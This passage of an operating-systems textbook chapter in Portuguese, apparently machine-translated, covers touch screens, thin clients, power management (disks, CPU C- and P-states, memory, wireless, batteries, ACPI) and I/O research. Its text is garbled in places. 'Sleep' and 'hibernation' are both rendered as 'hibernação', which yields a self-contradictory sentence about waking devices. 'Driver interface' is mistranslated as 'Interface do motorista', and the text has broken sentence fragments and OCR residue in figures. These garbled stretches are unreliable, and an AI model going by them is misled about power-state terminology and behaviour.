serviu como precursor dos displays que encontramos hoje. A maioria das telas sensíveis ao toque modernas são 
seja resistivo ou capacitivo. 

As telas resistivas possuem uma superfície plástica flexível na parte superior. O plástico em si é 
nada muito especial, exceto que é mais resistente a arranhões do que a sua variedade de jardim 
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plástico. No entanto, uma película fina de ITO (óxido de índio e estanho) ou algum 
material condutor semelhante) é impressa em linhas finas na parte inferior da superfície. 
Abaixo dela, mas sem tocá-la, há uma segunda superfície também revestida com uma 
camada de ITO. Na superfície superior, a carga corre na direção vertical e existem 
conexões condutoras na parte superior e inferior. Na camada inferior a carga corre 
horizontalmente e há conexões à esquerda e à direita. Ao tocar na tela, você amassa o 
plástico de modo que a camada superior do ITO toque a camada inferior. Para descobrir 
a posição exata do dedo ou caneta que o toca, basta medir a resistência em ambas as 
direções em todas as posições horizontais da parte inferior e em todas as posições 
verticais da camada superior. 

As telas capacitivas possuem duas superfícies duras, normalmente de vidro, cada 
uma revestida com ITO. Uma configuração típica é adicionar ITO a cada superfície em 
linhas paralelas, onde as linhas da camada superior são perpendiculares às da camada 
inferior. Por exemplo, a camada superior pode ser revestida em linhas finas na direção 
vertical, enquanto a camada inferior tem um padrão listrado semelhante na direção 
horizontal. As duas superfícies carregadas, separadas pelo ar, formam uma grade de 
capacitores muito pequenos. As tensões são aplicadas alternadamente nas linhas 
horizontais e verticais, enquanto os valores das tensões, que são afetados pela 
capacitância de cada interseção, são lidos nas demais. Ao colocar o dedo na tela, você altera a capacitância loc 
Medindo com muita precisão as minúsculas mudanças de tensão em todos os lugares, é 
possível descobrir a localização do dedo na tela. Esta operação é repetida muitas vezes 
por segundo com as coordenadas tocadas alimentadas para o driver do dispositivo como 
um fluxo de pares (x, y). O processamento adicional, como determinar se está ocorrendo 
apontar, pinçar, expandir ou deslizar, é feito pelo sistema operacional. 

O que é interessante nas telas resistivas é que a pressão determina o resultado das 
medições. Em outras palavras, funcionará mesmo se você usar luvas em climas frios. 
Isso não acontece com telas capacitivas, a menos que você use luvas especiais. 

Por exemplo, você pode costurar um fio condutor (como náilon folheado a prata) nas 
pontas dos dedos das luvas ou, se não for uma pessoa que faz agulhas, compre-os já prontos. 
Alternativamente, você corta as pontas das luvas e termina em 10 segundos. 

O que não é tão bom nas telas resistivas é que elas normalmente não suportam 
multitoque, uma técnica que detecta vários toques ao mesmo tempo. Permite manipular 
objetos na tela com dois ou mais dedos. As pessoas (e talvez também os orangotangos) 
gostam do multitoque porque lhes permite usar gestos de pinçar e expandir com dois 
dedos para ampliar ou reduzir uma imagem ou documento. Imagine que os dois dedos 
estão em (3, 3) e (8, 8). Como resultado, a tela resistiva pode notar uma mudança na 
resistência nas linhas verticais x = 3 ex = 8 e nas linhas horizontais y = 3 e y = 8. Agora 
considere um cenário diferente com os dedos em (3, 8) e (8, 3), que são os cantos 
opostos do retângulo cujos cantos são (3, 3), (8, 3), (8, 8), e (3, 8). A resistência mudou 
precisamente nas mesmas linhas, de modo que o software não tem como dizer qual dos 
dois cenários se mantém. Esse problema é chamado de fantasma. Como as telas 
capacitivas enviam um fluxo de coordenadas (x, y), elas são mais adequadas para 
suportar multitoque. 
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Manipular uma tela sensível ao toque com apenas um dedo ainda é bastante WIMPy - basta 
substituir o ponteiro do mouse pela caneta ou pelo dedo indicador. Multitoque é um pouco mais 
complicado. Tocar na tela com cinco dedos é como empurrar cinco ponteiros do mouse pela tela ao 
mesmo tempo e claramente muda as coisas para o gerenciador de janelas. As telas multitoque 
tornaram-se onipresentes e cada vez mais sensíveis e precisas. No entanto, não está claro se a 
Técnica do Coração Explosivo da Palma de Cinco Pontos tem algum efeito na CPU. 


5.7 CLIENTES FINO 


Ao longo dos anos, o principal paradigma da computação oscilou entre a computação 
centralizada e a descentralizada. Os primeiros computadores, como o ENIAC, eram, na verdade, 
computadores pessoais, embora de grande porte, pois apenas uma pessoa podia utilizá-los por vez. 
Depois vieram os sistemas de compartilhamento de tempo, nos quais muitos usuários remotos em 
terminais simples compartilhavam um grande computador central. Em seguida veio a era do PC, na 
qual os usuários voltaram a ter seus próprios computadores pessoais. 

Embora o modelo de PC descentralizado tenha vantagens, ele também apresenta algumas 
desvantagens graves. Provavelmente o maior problema é que cada PC possui um SSD ou disco 
rígido grande e software complexo que deve ser mantido. Por exemplo, quando uma nova versão do 
sistema operacional é lançada, muito trabalho precisa ser feito para realizar a atualização em cada 
máquina separadamente. Na maioria das empresas, os custos trabalhistas de fazer esse tipo de 
manutenção de software superam os custos reais de hardware e software. Para os utilizadores 
domésticos, o trabalho é tecnicamente gratuito, mas poucas pessoas são capazes de o fazer 
correctamente e menos ainda gostam de o fazer. Com um sistema centralizado, apenas uma ou 
algumas máquinas precisam ser atualizadas e essas máquinas contam com uma equipe de 
especialistas para fazer o trabalho. 

Um problema relacionado é que os usuários deveriam fazer backups regulares de seus sistemas 
de arquivos de terabytes, mas poucos o fazem. Quando ocorre um desastre, muitos gemidos e 
torções de mãos tendem a ocorrer. Com um sistema centralizado, os backups podem ser feitos todas 
as noites, em disco ou até mesmo em fita (por robôs de fita automatizados). 

Outra vantagem é que o compartilhamento de recursos é mais fácil com sistemas centralizados. 
Um sistema com 256 usuários remotos, cada um com 16 GB de RAM (ou 4 TB no total), terá a maior 
parte dessa RAM ociosa na maior parte do tempo. Com um sistema centralizado com apenas 1 TB 
de RAM, nunca acontece que algum usuário precise temporariamente de muita RAM, mas não 
consiga obtê-la porque está no PC de outra pessoa. O mesmo argumento vale para espaço em disco 
e outros recursos. 

Finalmente, estamos começando a ver uma mudança da computação centrada no PC para a 
computação centrada na Web. Uma área em que essa mudança está muito avançada é o e-mail. As 
pessoas costumavam receber seus e-mails em suas máquinas domésticas e lê-los lá. Hoje em dia, 
muitas pessoas fazem login no Gmail, Hotmail ou Yahoo e leem seus e-mails lá. Além disso, muitas 
pessoas acessam outros sites para processar texto, criar planilhas e outras coisas que antes exigiam 
software de PC. É até possível que eventualmente 
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o único software que a maioria das pessoas executa em seus PCs é um navegador da Web, e talvez não 
mesmo que. 
Provavelmente é uma conclusão justa dizer que a maioria dos usuários deseja alto desempenho 
computação interativa, mas não deseja realmente administrar um computador. Isto levou 
pesquisadores reexaminarem o compartilhamento de tempo usando terminais de texto simples (agora cnamados de thin 
clientes) que atendem às expectativas dos terminais modernos. X foi um passo nessa direção e 
terminais X dedicados foram populares por um tempo, mas caíram em desuso 
porque custavam tanto quanto os PCs, podiam fazer menos e ainda precisavam de algum software 
manutenção. O Santo Graal seria uma computação interativa de alto desempenho 
sistema no qual as máquinas dos usuários não tinham nenhum software. Interessantemente suficiente, 
este objectivo é alcançável, embora as soluções existentes tendam a ser menos extremas. 
Um dos thin clients mais conhecidos é o ChromeBook. É empurrado ativamente 
pelo Google, mas com uma grande variedade de fabricantes que oferecem uma ampla variedade de 
modelos. O notebook roda ChromeOS que é baseado em Linux e Chrome 
Navegador da Web e foi originalmente considerado online o tempo todo. A maioria dos outros softwares é hospedada 
na Web na forma de Web Apps, tornando a pilha de software 
o próprio Chromebook é consideravelmente mais fino do que a maioria dos notebooks tradicionais. Isto 
Acontece que esse modelo não funcionou tão bem, então, eventualmente, o Google tornou possível 
execute aplicativos Android nativamente em Chromebooks. Por outro lado, um sistema que funciona 


uma pilha Linux completa e um navegador Chrome também não são exatamente anoréxicos. 


5.8 GESTÃO DE ENERGIA 


O primeiro computador eletrônico de uso geral, o ENIAC, tinha 18.000 unidades de vácuo 
tubos e consumiu 140.000 watts de potência. Como resultado, surgiu uma situação não trivial 
conta de eletricidade. Após a invenção do transistor, o uso de energia caiu drasticamente e a indústria de computadores 
perdeu o interesse nos requisitos de energia. No entanto, hoje em dia o gerenciamento de energia está de volta ao 


centro das atenções por vários motivos, e o sistema operacional está desempenhando um papel importante aqui. 


Vamos começar com PCs desktop. Um PC desktop geralmente tem uma fonte de alimentação de 200 watts (que 
normalmente é 85% eficiente, ou seja, perde 15% da energia recebida para 
aquecer). Se 100 milhões destas máquinas forem ligadas ao mesmo tempo em todo o mundo, juntas 
eles usam 20.000 megawatts de eletricidade. Esta é a produção total de 20 centrais nucleares de dimensão média. Se 
os requisitos de energia pudessem ser reduzidos pela metade, 
poderia livrar-se de 10 usinas nucleares. Do ponto de vista ambiental, livrar-se de 10 centrais nucleares (ou de um 
número equivalente de centrais alimentadas a combustíveis fósseis) é 
uma grande vitória para o planeta. 

O outro lugar onde a energia é um grande problema é nos computadores alimentados por bateria, incluindo 
notebooks, smartphones e tablets, entre outros. O coração de 
o problema é que as baterias não conseguem reter carga suficiente para durar muito tempo, algumas 
horas no máximo. Além disso, apesar dos enormes esforços de investigação por parte das empresas de baterias, 


empresas de informática e empresas de produtos eletrônicos de consumo, o progresso é glacial. Para 
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uma indústria acostumada a duplicar o desempenho a cada 18 meses (lei de Moore), não ter nenhum 
progresso parece uma violação das leis da física, mas essa é a situação atual. Como consequência, fazer 
com que os computadores utilizem menos energia para que as baterias existentes durem mais está no topo 


da agenda de todos. O sistema operacional desempenha um papel importante aqui, como veremos a seguir. 


No nível mais baixo, os fornecedores de hardware estão tentando tornar seus produtos eletrônicos mais 
eficientes em termos energéticos. As técnicas utilizadas incluem a redução do tamanho do transistor, o 
emprego de escalonamento dinâmico de tensão, o uso de barramentos de baixa oscilação e adiabáticos e 
técnicas semelhantes. Estes estão fora do escopo deste livro. 

Existem duas abordagens gerais para reduzir o consumo de energia. A primeira é o sistema operacional 
desligar partes do computador (principalmente dispositivos de E/S) quando não estão em uso porque um 
dispositivo desligado consome pouca ou nenhuma energia. 

A segunda é que o programa aplicativo utilize menos energia, possivelmente degradando a qualidade da 
experiência do usuário, a fim de prolongar o tempo da bateria. Examinaremos cada uma dessas abordagens 
separadamente, mas primeiro falaremos um pouco sobre o design de hardware com relação ao uso de 


energia. 


5.8.1 Problemas de hardware 


As baterias vêm em dois tipos gerais: descartáveis e recarregáveis. Baterias descartáveis (geralmente 
células AAA, AA e D) podem ser usadas para operar dispositivos portáteis, mas não têm energia suficiente 
para alimentar notebooks com telas grandes e brilhantes. Uma bateria recarregável, por outro lado, pode 
armazenar energia suficiente para alimentar um notebook por algumas horas. As baterias de níquel-cádmio 
costumavam dominar aqui, mas deram lugar às baterias de níquel-hidreto metálico, que duram mais e não 


poluem tanto o meio ambiente quando eventualmente são descartadas. 


As baterias de íon de lítio são ainda melhores e podem ser recarregadas sem primeiro serem totalmente 
descarregadas, mas suas capacidades também são severamente limitadas. A maioria dos dispositivos 
portáteis modernos usa baterias de íon de lítio. Todos os fabricantes de baterias entendem que a patente de 
uma bateria de notebook que dura 40 horas de uso intenso vale bilhões de dólares, mas a física é difícil. 


A abordagem geral que a maioria dos fornecedores de computadores adota para a conservação da 
bateria é projetar a CPU, a memória e os dispositivos de E/S para terem vários estados: ligado, em suspensão, 
em hibernação e desligado. Para usar o dispositivo, ele deve estar ligado. Quando o dispositivo não for 
necessário por um curto período de tempo, ele pode ser colocado em hibernação, o que reduz o consumo de energia. 
Ele pode ser despertado rapidamente digitando um caractere ou movendo o mouse. Quando não há previsão 
de necessidade por um intervalo maior, ele pode ser colocado em hibernação, o que reduz ainda mais o 
consumo de energia. A desvantagem aqui é que tirar um dispositivo da hibernação geralmente leva mais 
tempo e energia do que tirá-lo do estado de hibernação. Finalmente, quando um dispositivo está desligado, 
ele não faz nada e não consome energia. Nem todos os dispositivos possuem todos esses estados, mas 
quando os têm, cabe ao sistema operacional gerenciar as transições de estado nos momentos certos. 
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O gerenciamento de energia levanta uma série de questões com as quais o sistema 
operacional precisa lidar. Muitos deles estão relacionados à hibernação de recursos — desligamento 
seletivo e temporário de dispositivos ou, pelo menos, redução do consumo de energia quando 
estão ociosos. As perguntas que devem ser respondidas incluem: Quais dispositivos podem ser 
controlados? Eles estão ligados/desligados ou existem estados intermediários? Quanta energia é 
economizada nos estados de baixo consumo? É gasta energia para reiniciar o dispositivo? Algum 
contexto deve ser salvo ao passar para um estado de baixo consumo de energia? Quanto tempo 
leva para voltar à potência total? É claro que as respostas a essas perguntas variam de dispositivo 
para dispositivo, portanto o sistema operacional deve ser capaz de lidar com uma série de possibilidades. 

Vários pesquisadores examinaram notebooks para ver para onde vai a energia. Os três 
principais consumidores de energia são a tela, o disco rígido (se houver) e a CPU, nessa 
ordem. Por outras palavras, estes componentes são alvos óbvios para a poupança de energia. 
Em dispositivos como smartphones, pode haver outros consumos de energia, como rádio e 
GPS. Embora nesta seção nos concentremos em monitores, discos, CPUs e memória, os 
princípios são os mesmos para outros periféricos. 


5.8.2 Problemas do sistema operacional 


O sistema operacional desempenha um papel fundamental no gerenciamento de energia. 
Ele controla todos os dispositivos, portanto deve decidir o que desligar e quando desligar. Se 
ele desligar um dispositivo e esse dispositivo for necessário novamente rapidamente, poderá 
haver um atraso irritante enquanto ele for reiniciado. Por outro lado, se esperar muito para 
desligar um aparelho, a energia é desperdiçada à toa. 

O truque é encontrar algoritmos e heurísticas que permitam ao sistema operacional tomar 
boas decisões sobre o que desligar e quando. O problema é que “bom” é altamente subjetivo. 
Um usuário pode achar aceitável que, após 30 segundos sem usar o computador, ele demore 
2 segundos para responder a um pressionamento de tecla. Outro usuário pode xingar como 
um marinheiro nas mesmas condições. Na ausência de entrada de áudio, o computador não 
consegue distinguir esses usuários. 


A tela 


Vejamos agora os grandes gastadores do orçamento energético para ver o que pode ser 
feito em relação a cada um deles. Um dos maiores itens no orçamento energético de todos é 
o display. Para obter uma imagem nítida e brilhante, a tela deve ser retroiluminada e isso 
consome energia substancial. Muitos sistemas operacionais tentam economizar energia 
desligando o monitor quando não há atividade por alguns minutos. 

Frequentemente, o usuário pode decidir qual é o intervalo de desligamento, empurrando assim a 
compensação entre o apagamento frequente da tela e o esgotamento rápido da bateria de volta 
para o usuário (que provavelmente realmente não quer isso). Desligar a tela é um estado de 
suspensão porque ela pode ser regenerada (a partir da RAM de vídeo) quase instantaneamente 
quando qualquer tecla é pressionada ou o dispositivo apontador é movido. 
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O disco rígido 


Outro grande vilão é o disco rígido, supondo que sua máquina tenha um. É necessária muita energia 
para mantê-lo girando em alta velocidade, mesmo que não haja acessos. Muitos computadores, 
especialmente notebooks, desaceleram o disco após um certo número de minutos de inatividade. Na 
próxima vez que for necessário, ele será girado novamente. 

Infelizmente, um disco parado está hibernando em vez de dormir porque leva alguns segundos para ligá- 
lo novamente, o que causa atrasos perceptíveis para o usuário. 

Além disso, reiniciar o disco consome energia considerável. Como consequência, cada disco tem 
um tempo característico, Td, que é o seu ponto de equilíbrio, muitas vezes na faixa de 5 a 15 segundos. 
Suponha que o próximo acesso ao disco ocorra em algum momento tno futuro. Se t< Td , é necessária 
menos energia para manter o disco girando, em vez de girá-lo para baixo e depois girá-lo para cima tão 
rapidamente. Se t> Td, a energia economizada faz com que valha a pena girar o disco para baixo e 
para cima novamente muito mais tarde. Se uma boa previsão pudesse ser feita (por exemplo, com base 
em padrões de acesso passados), o sistema operacional poderia fazer boas previsões de desligamento 
e economizar energia. Na prática, a maioria dos sistemas são conservadores e param o disco somente 
após alguns minutos de inatividade. 

Outra maneira de economizar energia de disco é ter um cache de disco substancial em RAM ou 
flash. Se um bloco necessário estiver no cache, um disco inativo não precisará ser reiniciado para 
satisfazer a leitura. Da mesma forma, se uma gravação no disco puder ser armazenada em buffer no 
cache, um disco parado não precisará ser reiniciado apenas para manipular a gravação. O disco pode 
permanecer desligado até que o cache fique cheio ou ocorra uma falha de leitura. 

Outra maneira de evitar inicializações desnecessárias do disco é fazer com que o sistema 
operacional mantenha os programas em execução informados sobre o estado do disco, enviando-lhes 
mensagens ou sinais. Alguns programas possuem gravações discricionárias que podem ser ignoradas ou atrasadas. 
Por exemplo, um processador de texto pode ser configurado para gravar o arquivo que está sendo 
editado no disco a cada poucos minutos. Se no momento normalmente grava o arquivo, o processador 
de texto sabe que o disco está desligado, ele pode atrasar essa gravação até que seja ligado. 


A CPU 


A CPU também pode ser gerenciada para economizar energia. Em particular, uma CPU pode ser 
colocada em suspensão no software, reduzindo o uso de energia a quase zero. A única coisa que ele 
pode fazer nesse estado é acordar quando ocorre uma interrupção. Portanto, sempre que a CPU fica 
ociosa, seja aguardando E/S ou porque não há trabalho a fazer, ela entra em hibernação. 

Em muitos computadores, existe uma relação entre a voltagem da CPU, o ciclo do clock e o uso de 
energia. A tensão da CPU muitas vezes pode ser reduzida no software, o que economiza energia, mas 
também reduz o ciclo do clock (de forma aproximadamente linear). Como a energia consumida é 
proporcional ao quadrado da tensão, cortar a tensão pela metade torna a CPU cerca de metade da 
velocidade, mas com 1/4 da potência. 

Esta propriedade pode ser explorada para programas com prazos bem definidos, como visualizadores 
de multimídia que precisam descompactar e exibir um quadro a cada 40 ms, mas ficam ociosos se 
fizerem isso mais rápido. Suponha que uma CPU use x joules durante a execução completa 
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explosão por 40 ms e x/4 joules correndo a meia velocidade. Se um reprodutor de vídeo puder 
descompactar e exibir um quadro em 20 ms, o sistema operacional poderá funcionar com potência 
máxima por 20 ms e depois desligar por 20 ms, com um consumo total de energia de x/2 joules . 
Alternativamente, ele pode funcionar com metade da potência e apenas cumprir o prazo, mas usar 
apenas x/4 joules. Uma comparação entre correr em velocidade máxima e potência máxima durante 
algum intervalo de tempo e a meia velocidade e um quarto da potência durante o dobro do tempo é 
mostrada na Figura 5.40. Em ambos os casos, o mesmo trabalho é realizado, mas na Figura 5.40(b) 
apenas metade da energia é consumida ao fazê-lo. 


1,00 1,00 F 
0,75 0,75 F 
3 0,50 ; 0,50 F 
0,25 0,25 
l 
E 0 T/2 T ; 0 T/2 T 
Tempo ——> Tempo ——> 
(a) (b) 


Figura 5-40. (a) Funcionando na velocidade máxima do clock. (b) Cortar a tensão em dois reduz a 
velocidade do clock em dois e o consumo de energia em quatro. 


Na mesma linha, se um usuário estiver digitando 1 caractere/seg, mas o trabalho necessário 
para processar o caractere levar 100 mseg, é melhor para o sistema operacional detectar os longos 
períodos ociosos e desacelerar a CPU por um fator. de 10. Resumindo, correr devagar é mais 
eficiente em termos energéticos do que correr rapidamente. 

Em geral, as CPUs têm vários modos de suspensão, normalmente chamados de estados C. 
CO é o estado ativo, enquanto C1 — Cn representa estados de suspensão, em que o clock do 
processador é interrompido (e nenhuma instrução é executada) e certas partes da CPU são 
desligadas. A Figura 5-41 mostra um exemplo de alguns dos estados C de um processador 
moderno. A transição de CO para um estado C superior pode ser desencadeada por instruções 
especiais. Por exemplo, no Intel x86, a instrução HLT conduzirá a CPU de CO a C1, enquanto a 
instrução MWAIT <novo estado C> permite que o sistema operacional especifique explicitamente o 
novo estado C. Eventos específicos (como interrupções) desencadeiam um retorno ao estado ativo 
Co. 

Os processadores podem ter modos adicionais para economizar ainda mais energia. Por 
exemplo, um conjunto de estados de potência predefinidos (ou estados P) que controlam a 
frequência e a tensão nas quais o processador opera. Em outras palavras, estes não são estados 
de sono, mas formas (mais lentas ou mais rápidas) do estado ativo. Por exemplo, em PO, um 
processador específico pode operar em seu desempenho máximo de 3,6 GHz e 1,4 V, em P1 em 
3,4 GHz e 1,35 V e assim por diante, até chegarmos a um nível mínimo de, digamos, 2,8 GHz e 1,2 
V. V. Esses estados de energia podem ser controlados por software, mas muitas vezes a própria 
CPU tenta escolher o estado P correto para a situação atual. Por exemplo, quando percebe que a 
utilização diminui, pode tentar reduzir o desempenho e, portanto, o consumo de energia da CPU, 
alternando automaticamente para estados P mais elevados. 
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Nome do estado Significado 

co Ativo CPU executa instruções. 

C1 Parada automática Relógio central da CPU desligado , outros componentes (por exemplo, interface de barramento e 


O controlador interr upt ainda funciona em velocidade total para que o processador possa retornar ao 
execução quase imediatamente. 
C2 Parar relógio Os clocks do núcleo + barramento estão desligados, mas a CPU mantém o estado visível do software. 
C3 Sono Profundo Até o gerador de clock está desligado. A CPU libera caches internos. 
Sem coerência de espionagem/cache. 
C4 Deeper Sleep Nome brilhante para um estado em que a tensão da CPU também é reduzida. 


Cn ido (Mais estados C são possíveis.) 


Figura 5-41. Exemplo de estados C em processadores modernos (baseados na terminologia Intel). Como 
esses estados são específicos do modelo, você pode descobrir que eles são diferentes 
para a CPU dentro do seu próprio computador. 


Curiosamente, reduzir os núcleos da CPU nem sempre implica uma redução 
no desempenho. Hruby et al. (2013) mostram que às vezes o desempenho do 
a pilha de rede melhora com núcleos mais lentos. A explicação é que um núcleo pode ser muito 
rápido para seu próprio bem. Por exemplo, imagine uma CPU com vários núcleos rápidos, onde 
um núcleo é responsável pela transmissão de pacotes de rede em nome de um produtor executado 
em outro núcleo. O produtor e a pilha de rede se comunicam 
diretamente via memória compartilhada e ambos rodam em núcleos dedicados. O produtor 
executa uma boa quantidade de computação e não consegue acompanhar o núcleo do 
a pilha de rede. Em uma execução típica, a pilha de rede transmitirá tudo o que for necessário 
transmitir e pesquisar a memória compartilhada por algum tempo para ver se há 
realmente não há mais dados para transmitir. Finalmente, ele desistirá e dormirá, porque 
a pesquisa contínua é muito ruim para o consumo de energia. Pouco depois, o produtor 
fornece mais dados, mas agora a pilha da rede está em suspensão rápida. Acordando a pilha 
leva tempo e retarda o rendimento. Uma solução possível é nunca dormir, 
mas isso também não é atraente porque isso aumentaria o poder 
consumo — exactamente o oposto do que estamos a tentar alcançar. Um muito mais 
Uma solução atraente é executar a pilha de rede em um núcleo mais lento, de modo que fique 
constantemente ocupado (e, portanto, nunca durma), ao mesmo tempo em que reduz o consumo de energia. Se 
o núcleo da rede for desacelerado com cuidado, seu desempenho será melhor do que um 
configuração onde todos os núcleos são extremamente rápidos. 


A memória 


Existem duas opções possíveis para economizar energia com a memória. Primeiro, o cache 
pode ser lavado e depois desligado (veja C3 na Fig. 5-41). Sempre pode ser 
recarregado da memória principal sem perda de informações. A recarga pode ser feita 
de forma dinâmica e rápida, portanto, desligar o cache é entrar em estado de suspensão 

Uma opção mais drástica é gravar o conteúdo da memória principal na memória secundária. 
armazenamento e, em seguida, desligue a própria memória principal. Esta abordagem é a hibernação, 
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já que praticamente toda a energia da memória pode ser cortada às custas de um tempo de recarga 
substancial, especialmente se o SSD também estiver desligado. Quando a memória é cortada, a CPU 
também deve ser desligada ou executada fora da ROM. Se a CPU estiver desligada, a interrupção 
que a desperta deve fazer com que ela salte para o código na ROM para que a memória possa ser 
recarregada antes de ser usada. Apesar de toda a sobrecarga, desligar a memória por longos 
períodos de tempo (por exemplo, horas) pode valer a pena se reiniciar em poucos segundos for 
considerado muito mais desejável do que reiniciar o sistema operacional a partir do disco, o que 
geralmente leva um minuto ou mais. 


Comunicação sem fio 


Cada vez mais computadores portáteis possuem uma conexão sem fio com o mundo exterior 
(por exemplo, a Internet). O transmissor e receptor de rádio necessários geralmente são consumidores 
de energia de primeira classe. Em particular, se o receptor de rádio estiver sempre ligado para ouvir 
e-mails recebidos, a bateria poderá descarregar rapidamente. Por outro lado, se o rádio for desligado 
após, digamos, 1 minuto de inatividade, as mensagens recebidas poderão ser perdidas, o que é 
claramente indesejável. 

Uma solução eficiente para este problema foi proposta por Kravets e Krish nan (1998). O cerne 
da solução explora o fato de que os dispositivos móveis (por exemplo, smartphones) se comunicam 
com estações base fixas que possuem grandes memórias e discos e sem restrições de energia. O 
que eles propõem é que o computador móvel envie uma mensagem para a estação base quando ela 
estiver prestes a desligar o rádio. A partir desse momento, a estação base armazena em buffer as 
mensagens recebidas em seu disco. O computador móvel pode indicar explicitamente por quanto 
tempo planeja dormir ou simplesmente informar a estação base quando ligar o rádio novamente. 
Nesse ponto, quaisquer mensagens acumuladas podem ser enviadas para ele. 


As mensagens de saída geradas enquanto o rádio está desligado são armazenadas em buffer 
no computador móvel. Se o buffer ameaçar ficar cheio, o rádio será ligado e a fila será transmitida à 
estação base. 

Quando o rádio deve ser desligado? Uma possibilidade é deixar o usuário ou o programa 
aplicativo decidir. Outra é desligá-lo após alguns segundos de inatividade. Quando deve ser ligado 
novamente? Novamente, o usuário ou programa poderia decidir, ou poderia ser ligado periodicamente 
para verificar o tráfego de entrada e transmitir quaisquer mensagens enfileiradas. Claro, ele também 
deve ser ligado quando o buffer de saída estiver quase cheio. Várias outras heurísticas são possíveis. 


Um exemplo de tecnologia sem fio que suporta tal esquema de gerenciamento de energia pode 
ser encontrado nas redes 802.11 (“WiFi”). No 802.11, um computador móvel pode notificar o ponto 
de acesso de que irá dormir, mas acordará antes que a estação base envie o próximo quadro de 
beacon. O ponto de acesso envia esses quadros periodicamente. Nesse ponto, o ponto de acesso 
pode informar ao computador móvel que há dados pendentes. Se não houver tais dados, o 
computador móvel poderá dormir novamente até o próximo quadro de beacon. 
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Uma questão um pouco diferente, mas ainda relacionada com a energia, é a gestão térmica. 

As CPUs modernas ficam extremamente quentes devido à sua alta velocidade. Máquinas desktop 
normalmente possuem um ventilador elétrico interno para soprar o ar quente para fora do chassi. Como a 
redução do gerenciamento de energia geralmente não é um problema importante em máquinas desktop, 
o ventilador geralmente fica ligado o tempo todo. 

Com os notebooks a situação é diferente. O sistema operacional deve monitorar a temperatura 
continuamente. Quando se aproxima da temperatura máxima permitida, o sistema operacional tem uma 
escolha. Ele pode ligar o ventilador, o que faz barulho e consome energia. Alternativamente, ele pode 
reduzir o consumo de energia reduzindo a luz de fundo da tela, desacelerando a CPU, sendo mais 
agressivo na rotação do disco e assim por diante. 


Algumas contribuições do usuário podem ser valiosas como guia. Por exemplo, um usuário poderia 
especificar antecipadamente que o ruído do ventilador é questionável, de modo que o sistema operacional 
reduziria o consumo de energia. 


Gerenciamento de bateria 


Antigamente, a bateria apenas fornecia corrente até ficar totalmente descarregada, momento em que 
parava. Não mais. Os dispositivos móveis agora usam baterias inteligentes, que podem se comunicar com 
o sistema operacional. Mediante solicitação do sistema operacional, eles podem relatar coisas como 
tensão máxima, tensão de corrente, carga máxima, carga de corrente, taxa de drenagem máxima, taxa 
de drenagem de corrente e muito mais. A maioria dos dispositivos móveis possui programas que podem 
ser executados para consultar e exibir todos esses parâmetros. As baterias inteligentes também podem 
ser instruídas a alterar vários parâmetros operacionais sob controle do sistema operacional. 


Alguns notebooks possuem múltiplas baterias. Quando o sistema operacional detecta que uma 
bateria está prestes a acabar, ele deve providenciar uma transição elegante para a próxima, sem causar 
falhas durante a transição. Quando a bateria final está no limite, cabe ao sistema operacional avisar o 
usuário e, em seguida, causar um desligamento ordenado, por exemplo, certificando-se de que o sistema 
de arquivos não esteja corrompido. 


Interface do motorista 


Vários sistemas operacionais possuem um mecanismo elaborado para fazer o gerenciamento de 
energia chamado ACPI (Advanced Configuration and Power Interface). O sistema operacional pode 
enviar qualquer comando de driver compatível solicitando que ele relate os recursos de seus dispositivos 
e seus estados atuais. Este recurso é especialmente importante quando combinado com plug and play 
porque logo após ser inicializado, o sistema operacional nem sabe quais dispositivos estão presentes, 
muito menos suas propriedades em relação ao consumo de energia ou capacidade de gerenciamento de 
energia. 
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Ele também pode enviar comandos aos motoristas instruindo-os a reduzir seus níveis de potência (com 
base nas capacidades que aprendeu anteriormente, é claro). Há também algum tráfego no sentido contrário. 
Em particular, quando um dispositivo como um teclado ou mouse detecta atividade após um período de 


inatividade, isso é um sinal para o sistema voltar à operação (quase) normal. 


5.8.3 Problemas do programa aplicativo 


Até agora, analisamos maneiras pelas quais o sistema operacional pode reduzir o uso de energia por 
vários tipos de dispositivos. Mas há também outra abordagem: dizer aos programas para usarem menos 
energia, mesmo que isso signifique proporcionar uma experiência de usuário pior (melhor uma experiência 
pior do que nenhuma experiência quando a bateria acaba e as luzes se apagam). Normalmente, esta 
informação é transmitida quando a carga da bateria está abaixo de algum limite. Cabe então aos programas 
decidir entre degradar o desempenho para prolongar a vida útil da bateria ou manter o desempenho e correr 
o risco de ficar sem energia. 


A questão é: como pode um programa degradar o seu desempenho para poupar energia? 
A resposta é específica do aplicativo. Por exemplo, um reprodutor de vídeo que normalmente reproduz vídeo 
em cores a 30 quadros/seg poderia economizar energia abandonando as informações de cor e exibindo o 
vídeo em preto e branco. Outra forma de degradação é reduzir a taxa de quadros, o que provoca cintilação 
e dá ao filme uma qualidade irregular. Ainda outra forma de degradação é reduzir o número de pixels em 
ambas as direções, seja diminuindo a resolução espacial ou diminuindo a imagem exibida. Medidas deste 
tipo pouparam cerca de 30% da energia. 


Outra solução é alternar entre processamento local e remoto. Por exemplo, podemos economizar 
energia enviando uma operação computacionalmente cara para a nuvem, em vez de executá-la, digamos, em 
um smartphone. Se esta é uma boa ideia é uma compensação entre o custo de execução local e o custo de 
energia para operar o rádio. É claro que outras considerações, como desempenho (o atraso aumentará?), 
segurança (confiamos nossa computação na nuvem?) e confiabilidade (e se não tivermos conectividade?) 
também desempenham um papel. 


Existem muitas outras coisas que os aplicativos podem fazer. É claro que geralmente significam que a 
aplicação deve ser projetada tendo em mente o gerenciamento de energia. 
Fazer do é especialmente interessante para dispositivos alimentados por bateria, onde aceitar alguma 
degradação de qualidade significa que o usuário pode funcionar por mais tempo com uma determinada bateria. 


5.9 PESQUISA SOBRE ENTRADAS/SAÍDAS 


A melhoria dos inputs/outputs é um domínio de investigação activo. Muitos projetos centram-se 
exclusivamente na eficiência, mas há também muita investigação sobre outros objetivos importantes, como a 


segurança ou o consumo de energia. 
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Em alguns casos, o foco está no desempenho com o objetivo de melhorar a segurança. 

Por exemplo, os pesquisadores tentaram acelerar o processamento de rede para construir sistemas de 
detecção de intrusão que lidam com as velocidades de rede das conexões modernas de data centers (Zhao 
et al., 2020). Desde o transporte de dados de um lado para o outro 

entre a placa de rede e a CPU a mais de 100 Gbps é difícil, eles fazem uso de 

Field Programmable Gate Arrays (FPGAs) para fazer a maior parte do processamento na própria placa de 
rede. Outros pesquisadores também pressionam grande parte da filtragem (selecionando 

pacotes específicos) ao acelerador FPGA da placa de rede, de modo que apenas alguns pacotes relevantes 
sejam processados pela CPU (Brunella et al., 2020). 

